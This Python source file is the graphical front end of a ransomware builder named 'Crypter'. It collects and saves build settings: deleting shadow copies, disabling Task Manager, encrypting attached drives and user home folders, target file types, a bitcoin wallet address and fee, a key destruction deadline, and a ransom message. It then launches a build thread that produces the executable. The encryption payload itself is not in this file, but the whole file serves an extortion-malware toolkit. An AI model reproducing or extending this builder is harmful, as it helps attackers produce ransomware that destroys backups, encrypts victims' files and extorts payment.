# -*- coding: utf-8 -*-
'''
@summary: Crypter Builder: Provides GUI functionality
@author: MLS
'''

# Import libs
import wx
import datetime
import time
import json
import os
import subprocess
from pubsub import pub

# Import package modules
from .BuilderGuiAbsBase import MainFrame
from .Base import *
from .BuilderThread import BuilderThread

###############
## GUI CLASS ##
###############
class Gui(MainFrame):
    '''
    @summary: Provides a GUI object
    '''
    
    def __init__(self):
        '''
        @summary: Constructor
        @param config_dict: The build configuration, if present
        @param load_config: Handle to a config loader method/object
        '''
        self.language = DEFAULT_LANGUAGE
        self.__builder = None
        self.config_file_path = None
        
        # Init super - MainFrame
        MainFrame.__init__( self, parent=None )
        self.console = Console(self.ConsoleTextCtrl)
        self.StatusBar.SetStatusText("Ready...")
        icon = wx.Icon()
        icon.CopyFromBitmap(wx.Bitmap(os.path.join(self.__get_resources_path(), "builder_logo.bmp"), wx.BITMAP_TYPE_ANY))

        self.SetIcon(icon)
        
        # Update GUI Visuals
        self.update_gui_visuals()
        
        # Set initial event handlers
        self.set_events()


    def __get_resources_path(self):
        '''
        Gets the path to the resources directory
        @return: Resources directory path
        '''

        return os.path.join(os.path.dirname(__file__), "Resources")
        
    
    def update_gui_visuals(self):
        '''
        @summary: Updates the GUI with any aesthetic changes following initialising. This
        inludes updating labels and other widgets
        '''
        
        # Version
        self.TitleLabel.SetLabel(TITLE)
        self.SetTitle(TITLE)
   
        # Set Logo Image
        self.LogoBitmap.SetBitmap(
            wx.Bitmap(
                os.path.join(self.__get_resources_path(), "builder_logo.bmp")
                )
            )
        # Set debug to default level
        self.DebugLevelChoice.SetSelection(
            self.DebugLevelChoice.FindString(
                BUILDER_CONFIG_ITEMS["debug_level"]["default"]
                )
            )
        
    
    def update_config_values(self, config_dict):
        '''
        @summary: Updates the GUI field values with those in the config_dict. Sets to
        empty string if the item is not in the config dict
        @param config_dict: The config dict loaded from the build config file, if any
        '''
        
        # Parse values
        # Builder Language
        self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE)
        # Debug Level
        if "debug_level" in config_dict:
            self.DebugLevelChoice.SetSelection(
                self.DebugLevelChoice.FindString(config_dict["debug_level"])
                )
        else:
            self.DebugLevelChoice.SetSelection(0)
        # PyInstaller AES Key
        if "pyinstaller_aes_key" in config_dict:
            self.PyInstallerAesKeyTextCtrl.SetValue(config_dict["pyinstaller_aes_key"].upper())
        else:
            self.PyInstallerAesKeyTextCtrl.SetValue("")
        # File Icon
        if "icon_file" in config_dict:
            self.IconFilePicker.SetPath(config_dict["icon_file"])
        else:
            self.IconFilePicker.SetPath("")
        # UPX Packer dir
        if "upx_dir" in config_dict:
            self.UpxDirPicker.SetPath(config_dict["upx_dir"])
        else:
            self.UpxDirPicker.SetPath("")
        # Open GUI On Login
        if "open_gui_on_login" in config_dict:
            self.OpenGuiOnLoginCheckbox.SetValue(config_dict["open_gui_on_login"])
        else:
            self.OpenGuiOnLoginCheckbox.SetValue(BUILDER_CONFIG_ITEMS["open_gui_on_login"]["default"])
        # Delete Shadow Copies
        if "delete_shadow_copies" in config_dict:
            self.DeleteShadowCopiesCheckbox.SetValue(config_dict["delete_shadow_copies"])
        else:
            self.DeleteShadowCopiesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["delete_shadow_copies"]["default"])
        # Disable Task Manager
        if "disable_task_manager" in config_dict:
            self.DisableTaskManagerCheckbox.SetValue(config_dict["disable_task_manager"])
        else:
            self.DisableTaskManagerCheckbox.SetValue(BUILDER_CONFIG_ITEMS["disable_task_manager"]["default"])
        # GUI Title
        if "gui_title" in config_dict:
            self.GuiTitleTextCtrl.SetValue(config_dict["gui_title"])
        else:
            self.GuiTitleTextCtrl.SetValue("")
        # Key Destruction time
        if "key_destruction_time" in config_dict:
            self.KeyDestructionTimeTextCtrl.SetValue(config_dict["key_destruction_time"])
        else:
            self.KeyDestructionTimeTextCtrl.SetValue("")
        # Wallet Address
        if "wallet_address" in config_dict:
            self.WalletAddressTextCtrl.SetValue(config_dict["wallet_address"])
        else:
            self.WalletAddressTextCtrl.SetValue("")
        # Bitcoin Fee
        if "bitcoin_fee" in config_dict:
            self.BitcoinFeeTextCtrl.SetValue(config_dict["bitcoin_fee"])
        else:
            self.BitcoinFeeTextCtrl.SetValue("")
        # Encrypt Attached Drives
        if "encrypt_attached_drives" in config_dict:
            self.EncryptAttachedDrivesCheckbox.SetValue(config_dict["encrypt_attached_drives"])
        else:
            self.EncryptAttachedDrivesCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_attached_drives"]["default"])
        # Encrypt User Home
        if "encrypt_user_home" in config_dict:
            self.EncryptUserHomeCheckbox.SetValue(config_dict["encrypt_user_home"])
        else:
            self.EncryptUserHomeCheckbox.SetValue(BUILDER_CONFIG_ITEMS["encrypt_user_home"]["default"])
        # Max file size to encrypt
        if "max_file_size_to_encrypt" in config_dict:
            self.MaxFileSizeTextCtrl.SetValue(config_dict["max_file_size_to_encrypt"])
        else:
            self.MaxFileSizeTextCtrl.SetValue("")
        # Filetypes to encrypt
        if "filetypes_to_encrypt" in config_dict:
            filetypes = ",".join(config_dict["filetypes_to_encrypt"])
            self.FiletypesToEncryptTextCtrl.SetValue(filetypes)
        else:
            self.FiletypesToEncryptTextCtrl.SetValue("")
        # Encrypted File Extension
        if "encrypted_file_extension" in config_dict:
            self.EncryptedFileExtensionTextCtrl.SetValue(config_dict["encrypted_file_extension"])
        else:
            self.EncryptedFileExtensionTextCtrl.SetValue("")
        # Make GUI Resizeable
        if "make_gui_resizeable" in config_dict:
            self.MakeGuiResizeableCheckbox.SetValue(config_dict["make_gui_resizeable"])
        else:
            self.MakeGuiResizeableCheckbox.SetValue(BUILDER_CONFIG_ITEMS["make_gui_resizeable"]["default"])
        # Always on Top
        if "always_on_top" in config_dict:
            self.AlwaysOnTopCheckbox.SetValue(config_dict["always_on_top"])
        else:
            self.AlwaysOnTopCheckbox.SetValue(BUILDER_CONFIG_ITEMS["always_on_top"]["default"])
        if "background_colour" in config_dict:
            self.BackgroundColourPicker.SetColour(wx.Colour(
                    config_dict["background_colour"][0],
                    config_dict["background_colour"][1],
                    config_dict["background_colour"][2]
                    )
                )
        if "heading_font_colour" in config_dict:
            self.HeadingFontColourPicker.SetColour(wx.Colour(
                    config_dict["heading_font_colour"][0],
                    config_dict["heading_font_colour"][1],
                    config_dict["heading_font_colour"][2]
                    )
                )
        if "primary_font_colour" in config_dict:
            self.PrimaryFontColourPicker.SetColour(wx.Colour(
                    config_dict["primary_font_colour"][0],
                    config_dict["primary_font_colour"][1],
                    config_dict["primary_font_colour"][2]
                    )
                )
        if "secondary_font_colour" in config_dict:
            self.SecondaryFontColourPicker.SetColour(wx.Colour(
                    config_dict["secondary_font_colour"][0],
                    config_dict["secondary_font_colour"][1],
                    config_dict["secondary_font_colour"][2]
                    )
                )
        # Ransom Message
        if "ransom_message" in config_dict:
            self.RansomMessageTextCtrl.SetValue(config_dict["ransom_message"])
        else:
            self.RansomMessageTextCtrl.SetValue("")
            
            
    def __save_config(self, event):
        '''
        @summary: Saves the configuration/user input data to the configuration file
        '''
        # If not saved, used currently loaded config file path
        if self.SaveFilePicker.GetPath():
            self.config_file_path = self.SaveFilePicker.GetPath()

        # Get data from form
        user_input_dict = self.__get_input_data()
        
        # Parse filetypes to encrypt
        # Remove any trailing and leading spaces, dots
        user_input_dict["filetypes_to_encrypt"] = user_input_dict["filetypes_to_encrypt"].split(",")
        for index in range(len(user_input_dict["filetypes_to_encrypt"])):
            user_input_dict["filetypes_to_encrypt"][index] = user_input_dict["filetypes_to_encrypt"][index].strip().strip(".")
            
        # Parse encrypted file extension
        user_input_dict["encrypted_file_extension"] = user_input_dict["encrypted_file_extension"].strip(".")

        # Try to write the config to file
        try:
            with open(self.config_file_path, "w") as config_file_handle:
                json.dump(user_input_dict, config_file_handle, indent=6)
                self.console.log(msg="Build configuration successfully saved to file %s"
                                 % self.config_file_path)
                self.StatusBar.SetStatusText("Config Saved To %s" % self.config_file_path)
                self.__build_config_file = self.config_file_path
                self.__update_loaded_config_file()
        except Exception as ex:
            self.console.log(msg="The configuration could not be saved to %s: %s"
                             % (self.config_file_path, ex),
                             ccode=ERROR_CANNOT_WRITE
                             )
            self.StatusBar.SetStatusText("Error saving configuration file %s" % self.config_file_path)
            self.config_file_path = None

                

    def __load_config(self, event):
        '''
        @summary: Loads builder config from file and updates the form values
        @param self.config_file_path: The path of the config file to load
        '''
        config_dict = {}
        self.config_file_path = self.LoadFilePicker.GetPath()
        self.__reset_label_warnings()


        # Try to load config file and update the GUI
        try:
            with open(self.config_file_path, "r") as config_file_handle:
                config_dict = json.load(config_file_handle)
                self.console.log(msg="Build configuration successfully loaded from %s"
                                 % self.config_file_path)
                self.StatusBar.SetStatusText("Config Loaded From %s" % self.config_file_path)
                self.__build_config_file = self.config_file_path
                self.__update_loaded_config_file()
        except Exception as ex:
            self.console.log(msg="The specified configuration file at %s could not be loaded: %s" 
                             % (self.config_file_path, ex),
                             ccode=ERROR_INVALID_CONFIG_FILE
                             )
            self.StatusBar.SetStatusText("Error loading configuration file %s" % self.config_file_path)
            self.config_file_path = None

        # Update the GUI
        self.update_config_values(config_dict)
        
        return config_dict
    
    
    def __update_loaded_config_file(self):
        '''
        @summary: Updates the value of the "Loaded Config"
        '''
        
        # Truncate path if too long
        if len(self.__build_config_file) >= 30:
            formatted_path = "..." + self.__build_config_file[-27:]
        else:
            formatted_path = self.__build_config_file
            
        self.CurrentConfigFile.SetLabel(formatted_path)
        self.HeaderPanel.Layout()
        
        
    def __open_containing_folder(self, event):
        '''
        @summary: Opens explorer in the "bin" directory where the Crypter binary is written
        '''
        
        subprocess.Popen(r'explorer ".\bin"')

        
    def set_events(self):
        '''
        @summary: Set GUI events for the various controls
        '''
        
        # Catch Language choice changes
        self.Bind(wx.EVT_CHOICE, self.update_language, self.BuilderLanguageChoice)
        
        # Catch config file load and save
        self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__load_config, self.LoadFilePicker)
        self.Bind(wx.EVT_FILEPICKER_CHANGED, self.__save_config, self.SaveFilePicker)

        # BUILD button
        self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton)
        
        # Mainframe close
        self.Bind(wx.EVT_CLOSE, self.__close_builder, self)
        
        # Disable Open Containing Folder Button and bind event
        self.OpenContainingFolderButton.Disable()
        self.Bind(wx.EVT_BUTTON, self.__open_containing_folder, self.OpenContainingFolderButton)
        
    
    def __close_builder(self, event):
        '''
        @summary: Method to catch close events and close the builder gracefully
        '''
        
        # Stop builder and exit
        self.__stop_build(None)
        self.Destroy()
        
        
    def update_language(self, event, language=None):
        '''
        @summary: Updates the Builder GUI language to the selected choice
        @param language: The language to change the form to. This is only provided when
        called directly, and not through a wx Event
        @todo: Finish when support for multiple languages has been enabled for the Builder
        '''
        
        if not event:
            if language == "English":
                self.language = "English"
                #print("Changing language to English")
                

    def __update_progress(self, msg):
        '''
        @summary: Updates the GUI with the build progress and status
        '''
            
        # Log output message to the Console
        self.console.log(debug_level=msg["debug_level"],
                         _class=msg["_class"],
                         msg=msg["msg"],
                         ccode=msg["ccode"],
                         timestamp=msg["timestamp"])

        # CHECK FOR ERRORS
        # If there was a validation error, highlight culprit field label
        if msg["ccode"] == ERROR_INVALID_DATA:
            # Set input field label FG to red
            label_object_name = BUILDER_CONFIG_ITEMS[msg["invalid_input_field"]]["label_object_name"]
            self.__set_label_colour(label_object_name, colour="red")

        # If build is not in progress, Reset BUILD Button and set outcome message
        if (
            (self.__builder and not self.__builder.is_in_progress()) and
            (self.__builder.finished_with_error() or self.__builder.finished_with_success() or self.__builder.finished_with_stop())
            ):
                # Set final output message and destroy the thread
                if self.__builder.finished_with_error():
                    self.console.log(msg="Build finished with error")
                    self.StatusBar.SetStatusText("Build Failed...")
                elif self.__builder.finished_with_success():
                    self.console.log(msg="Build successful")
                    self.console.log(msg="Crypter exe written to '%s'" % self.__builder.get_exe_location())
                    self.StatusBar.SetStatusText("Build Successful...")
                    # Enable "Open Containing Folder" Button
                    self.OpenContainingFolderButton.Enable()
                elif self.__builder.finished_with_stop():
                    self.console.log(msg="Build terminated by user")
                    self.StatusBar.SetStatusText("Build Terminated...")
                self.BuildButton.SetLabel("BUILD")
                self.Bind(wx.EVT_BUTTON, self.__start_build, self.BuildButton)

                # Update gauge to completion
                for percentage in range(0, 150, 50):
                    self.BuildProgressGauge.SetValue(percentage)


    def __set_label_colour(self, label_object_name, colour="red"):
        '''
        @summary: Sets the specified label text colour and refreshes the object
        '''
        
        # Set colour string
        if colour == "red":
            colour_object = "wx.Colour (255,0,0)"
        elif colour == "default":
            colour_object = "wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWTEXT )"
        
        # Change foreground colour
        exec("self.%s.SetForegroundColour( %s )" %
             (label_object_name, colour_object)
            )
        # Refresh object appearance
        exec("self.%s.Hide()" % label_object_name)
        exec("self.%s.Show()" % label_object_name)

        
    def __stop_build(self, event):
        '''
        @summary: Method to terminate the build process
        '''
        
        if self.__builder and self.__builder.is_in_progress():
            self.__builder.stop()
            
            
    def __get_input_data(self):
        '''
        @summary: Retrieves and returns the user's input data from the GUI form
        @return: input data as a dictionary
        '''

        user_input_dict = OrderedDict()
        # Builder Language
        user_input_dict["builder_language"] = self.BuilderLanguageChoice.GetString(
            self.BuilderLanguageChoice.GetSelection()
            )
        # PyInstaller AES Key
        user_input_dict["pyinstaller_aes_key"] = self.PyInstallerAesKeyTextCtrl.GetValue()
        # Icon FIle
        user_input_dict["icon_file"] = self.IconFilePicker.GetPath()
        # Open GUI On Login
        user_input_dict["open_gui_on_login"] = self.OpenGuiOnLoginCheckbox.IsChecked()
        # GUI Title
        user_input_dict["gui_title"] = self.GuiTitleTextCtrl.GetValue()
        # UPX Packer Dir
        user_input_dict["upx_dir"] = self.UpxDirPicker.GetPath()
        # Delete Shadow Copies
        user_input_dict["delete_shadow_copies"] = self.DeleteShadowCopiesCheckbox.IsChecked()
        # Disable Task Manager
        user_input_dict["disable_task_manager"] = self.DisableTaskManagerCheckbox.IsChecked()
        # Key Destruction Time
        user_input_dict["key_destruction_time"] = self.KeyDestructionTimeTextCtrl.GetValue()
        # Wallet Address
        user_input_dict["wallet_address"] = self.WalletAddressTextCtrl.GetValue()
        # Bitcoin Fee
        user_input_dict["bitcoin_fee"] = self.BitcoinFeeTextCtrl.GetValue()
        # Encrypt Attached Drives
        user_input_dict["encrypt_attached_drives"] = self.EncryptAttachedDrivesCheckbox.IsChecked()
        # Encrypt User Home
        user_input_dict["encrypt_user_home"] = self.EncryptUserHomeCheckbox.IsChecked()
        # Max file size to encrypt
        user_input_dict["max_file_size_to_encrypt"] = self.MaxFileSizeTextCtrl.GetValue()
        # Filetypes to encrypt
        user_input_dict["filetypes_to_encrypt"] = self.FiletypesToEncryptTextCtrl.GetValue()
        # Encrypted File Extension
        user_input_dict["encrypted_file_extension"] = self.EncryptedFileExtensionTextCtrl.GetValue()
        # GUI Resizeable
        user_input_dict["make_gui_resizeable"] = self.MakeGuiResizeableCheckbox.IsChecked()
        # Always On Top
        user_input_dict["always_on_top"] = self.AlwaysOnTopCheckbox.IsChecked()
        # Background Colour
        user_input_dict["background_colour"] = self.BackgroundColourPicker.GetColour().Get()
        # Heading Font Colour
        user_input_dict["heading_font_colour"] = self.HeadingFontColourPicker.GetColour().Get()
        # Primary Font Colour
        user_input_dict["primary_font_colour"] = self.PrimaryFontColourPicker.GetColour().Get()
        # Secondary Font Colour
        user_input_dict["secondary_font_colour"] = self.SecondaryFontColourPicker.GetColour().Get()
        # Ransom Message
        user_input_dict["ransom_message"] = self.RansomMessageTextCtrl.GetValue()
        # Debug Level
        user_input_dict["debug_level"] = self.DebugLevelChoice.GetString(
            self.DebugLevelChoice.GetSelection()
            )
        
        return user_input_dict
    

    def __reset_label_warnings(self):
        '''
        @summary: Reset any red label warnings back to their default
        '''

        # Reset all labels to standard foreground colour
        for input_field in BUILDER_CONFIG_ITEMS:
            if "label_object_name" in BUILDER_CONFIG_ITEMS[input_field]:
                label_object_name = BUILDER_CONFIG_ITEMS[input_field]["label_object_name"]
                self.__set_label_colour(label_object_name, colour="default")

        
    def __start_build(self, event):
        '''
        @summary: Launches the validate and build processes
        '''
        # Set progress gauge to zero and start progress pulse
        self.BuildProgressGauge.SetValue(0)
        self.BuildProgressGauge.Pulse()
        self.StatusBar.SetStatusText("Running Build...")
        self.__reset_label_warnings()
        
        user_input_dict = self.__get_input_data()
        
            
        # Clear the Console and setup debug
        self.console.clear()
        self.OpenContainingFolderButton.Disable()
        self.Bind(wx.EVT_BUTTON, self.__stop_build, self.BuildButton)
        self.BuildButton.SetLabel("STOP")
        self.console.log(msg="Build Launched")
        self.console.log(msg="DEBUG Level: %s" % user_input_dict["debug_level"])
        self.console.set_debug_level(user_input_dict["debug_level"])
        
        
        # Create listeners and Launch the Build thread
        pub.subscribe(self.__update_progress, "update")
        self.__builder = BuilderThread(user_input_dict)
        
        
        
###################
## CONSOLE CLASS ##
###################
class Console():
    '''
    @summary: Provides an interface for the GUI Console window
    '''
    
    def __init__(self, console):
        '''
        @summary: Constructor
        @param console: Handle to the wxPython console TextCtrl
        '''
        self.__console_box = console
        self.__debug_level = "0 - Minimal"


    def log(self, debug_level=0, _class=None, msg=None, ccode=0, timestamp=True):
        '''
        @summary: Logs output to the Console
        @param debug_level: The debug level of the message
        @param _class: The class that is performing the log
        @param msg: The message to log to the Console Text screen
        '''
        to_log = ""
        
        # Add timestamp
        if timestamp:
            to_log += "[%s]: " % self.__get_timestamp()
        
        # Add status message
        if ccode:
            to_log += "(ERROR): "
        
        # Add class
        if _class:
            to_log += "%s: " % _class
        
        # Add message
        to_log += "%s" % msg
        
        # Add the message to the Console box
        if msg and debug_level <= int(self.__debug_level[0]):
            self.__console_box.AppendText(to_log + "\n")
        

    def clear(self):
        '''
        @summary: Clears the Console output screen
        '''
        
        self.__console_box.Clear()
        

    def __get_timestamp(self):
        '''
        @summary: Return timestamp string
        '''
        
        current_time = datetime.datetime.now()
        time_output = "%s-%s-%s %s:%s:%s" % (
            current_time.year,
            current_time.month if current_time.month >= 10 else "0%s" % current_time.month,
            current_time.day if current_time.day >= 10 else "0%s" % current_time.day,
            current_time.hour if current_time.hour >= 10 else "0%s" % current_time.hour,
            current_time.minute if current_time.minute >= 10 else "0%s" % current_time.minute,
            current_time.second if current_time.second >= 10 else "0%s" % current_time.second
            )
                
        return time_output


    def set_debug_level(self, level):
        '''
        @summary: Sets the console logging debug level. Messages below the debug level
        will be ignored, and won't be logged to the console.
        @param level: The debug level to set to console to. Should be one of the following:
            "0 - Minimal"
            "1 - Low"
            "2 - Medium"
            "3 - High"
        '''
        
        self.__debug_level = level